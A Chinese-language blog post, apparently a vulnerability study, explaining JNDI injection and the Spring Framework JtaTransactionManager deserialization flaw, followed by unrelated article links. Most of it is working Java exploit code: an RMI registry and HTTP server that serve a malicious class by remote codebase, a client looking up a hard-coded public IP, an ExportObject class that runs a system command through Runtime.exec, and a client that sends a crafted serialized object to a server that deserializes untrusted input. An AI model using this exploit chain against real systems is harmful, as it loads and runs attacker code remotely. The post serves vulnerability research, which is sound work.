理解这个漏洞需要先看freebuff上的jdni的小例子。

jndi注入在jdk8u121绕过参考这俩篇文章:

https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

server端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer; import javax.naming.Reference;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class JndiPoc {
public static void lanuchCodebaseURLServer() throws IOException {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
public static void lanuchRMIregister(String server_ip) throws Exception {
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(2222);
// 设置code url 这里即为http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
String evil_ip="http://"+server_ip+":8009/";
Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); try {
registry.bind("aa", referenceWrapper); // registry.bind("gsrc_ejbobject",referenceWrapper);
}catch (Exception e){
System.out.println("e.getCause().getCause().getCause().getMessage()");
} }
public static void main(String[] args) throws Exception {
lanuchCodebaseURLServer();
lanuchRMIregister("127.0.0.1");
} }

client代码:

import javax.naming.*;
public class Jndi_Client {
public static void main(String[] args) throws Exception {
String uri="rmi://121.195.170.196:2222/aa";
Context ctx=new InitialContext();
ctx.lookup(uri);
}
}

lookup参数uri可控,将uri注入恶意ip的rmi服务,触发实例化恶意类构造方法调用。

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject{
/*
public static void main(String args[]) throws Exception { }*/ public ExportObject() throws Exception {
String OS= System.getProperty("os.name").toLowerCase();
String cmd="open /Applications/Calculator.app"; if(OS.indexOf("win")>=0)
{
cmd="calc.exe";
} //String cmd="open /Applications/Calculator.app";
Runtime.getRuntime().exec(cmd);
} }



下面具体看Spring framework 反序列化的漏洞

Server端代码:

imort java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
//本地监听1234端口
ServerSocket serverSocket = new ServerSocket(1234);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//执行接收到类的readObject方法
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

client端:

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*; public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = "127.0.0.1";
int port = Integer.parseInt("1234");
String localAddress= "127.0.0.1"; System.out.println("Starting HTTP server"); //开启80端口服务
HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start(); System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务
Registry registry = LocateRegistry.createRegistry(1099);
/*
java为了将object对象存储在Naming或者Directory服务下,
提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
就可以理解jndi注入产生的原因了。
*/ //绑定本地的恶意类到1099端口
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper); System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object"; //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
//lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

server与client交互流程:



漏洞触发点:



下断点调试,前面client都是绑定操作,直到执行到43行,将恶意的rmi地址写入:



46行将恶意类发送到Server端,server端执行JtaTransactionManager类的readObject:



跟到616行:



f7跟到173行:



继续f7跟到247行,调用了looup方法:



继续跟进94行,name 传进的值是之前绑定的恶意类的地址,lookup方法会调用恶意类的构造方法。



跟到恶意类构造方法,触发RCE.



参考链接:

https://www.freebuf.com/vuls/115849.html

https://paper.seebug.org/312/

Spring framework 反序列化的漏洞的更多相关文章

  1. Spring框架中文件目录遍历漏洞 Directory traversal in Spring framework

    官方给出的描述是Spring框架中报告了一个与静态资源处理相关的目录遍历漏洞.某些URL在使用前未正确加密,使得攻击者能够获取文件系统上的任何文件,这些文件也可用于运行SpringWeb应用程序的进程 ...

  2. 最新漏洞:Spring Framework远程代码执行漏洞

    Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...

  3. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

  4. Spring Framework 远程命令执行漏洞(CVE-2022-22965)

    Spring Framework 远程命令执行漏洞 (CVE-2022-22965) 近日,Spring 官方 GitHub issue中提到了关于 Spring Core 的远程命令执行漏洞,该漏洞 ...

  5. Spring系列(零) Spring Framework 文档中文翻译

    Spring 框架文档(核心篇1和2) Version 5.1.3.RELEASE 最新的, 更新的笔记, 支持的版本和其他主题,独立的发布版本等, 是在Github Wiki 项目维护的. 总览 历 ...

  6. Spring Framework(框架)整体架构 变迁

    Spring Framework(框架)整体架构 2018年04月24日 11:16:41 阅读数:1444 标签: Spring框架架构 更多 个人分类: Spring框架   版权声明:本文为博主 ...

  7. 浅谈对Spring Framework的认识

    Spring Framework,作为一个应用框架,官方的介绍如下: The Spring Framework provides a comprehensive programming and con ...

  8. Hello Spring Framework——依赖注入(DI)与控制翻转(IoC)

    又到年关了,还有几天就是春节.趁最后还有些时间,复习一下Spring的官方文档. 写在前面的话: Spring是我首次开始尝试通过官方文档来学习的框架(以前学习Struts和Hibernate都大多是 ...

  9. 手动创建Spring项目 Spring framework

    之前学习框架一直是看的视频教程,并且在都配套有项目源码,跟着视频敲代码总是很简单,现在想深入了解,自己从官网下载文件手动搭建,就遇到了很多问题记载如下. 首先熟悉一下spring的官方网站:http: ...

随机推荐

  1. MongoDB 从入门到精通

    1,安装并启动数据库       从官网(www.mongodb.org/downloads)下载一个适合你平台的版本,我的系统是win7 64位的,下载文件也就10几M,将下载的文件解压放到任何目录 ...

  2. C#构建树形数据结构

    转自:https://www.jb51.net/article/125747.htm 树形结构:最近在做任务管理,任务可以无限派生子任务且没有数量限制,前端采用Easyui的Treegrid树形展示控 ...

  3. 五:SpringCloud-Zuul

    九:zuul路由网关 1.概述 1.1 是什么 Zuul包含了对请求的路由和过滤两个最主要的功能: 其中==路由功能==负责将外部请求转发到具体的微服务实例上,是实现外部访问统一入口的基础. 而==过 ...

  4. c# MVC模式学习笔记_数据验证

    改变显示字段名称 设计字段规范 1.引用 using System.ComponentModel; using System.ComponentModel.DataAnnotations; 2.Dis ...

  5. Java 运行时数据区域

    1. 整体分类 程序计数器 虚拟机栈 本地方法栈 Java 堆 方法区 运行时常量池 直接内存 2. 程序计数器 每个线程一个计数器,线程的私有内存 指向的是字节码的内存地址? 如果线程执行的是 Ja ...

  6. JSP简单实现登录和注销

    JSP简单实现登录和注销 需求:用户登录成功后跳转到欢迎页面 用户登录失败跳转到初始的登录界面 用户点击注销,用户退出登录状态需要重新登录 登录页面的JSP代码: <%@ page langua ...

  7. Spring入门(二)— IOC注解、Spring测试、AOP入门

    一.Spring整合Servlet背后的细节 1. 为什么要在web.xml中配置listener <listener> <listener-class>org.springf ...

  8. C# 调用C/C++动态链接库,结构体中的char*类型

    用C#掉用C++的dll直接import就可以之前有不同的类型对应,当要传递结构体的时候就有点麻烦了,这里有一个结构体里边有char*类型,这个类型在C#中调用没法声明,传string是不行的默认st ...

  9. edge浏览器无法解析<img>的原因

    使用<img>标签插入图片,使用谷歌,ie,等浏览器测试,都可以正常显示图片,但是edge浏览器就是实现不了.经过排查测试,不是文件格式的问题,而是路径带有中文.相对路径中虽然不带中文,但 ...

  10. UOJ450. 【集训队作业2018】复读机

    传送门 \(d=1\) 输出 \(k^n\) \(d=2\),构造生成函数,就是求 \[(\sum_{i=0}^{\infty}[2|i]\frac{x^i}{i!})^k[x^n]=(\frac{e ...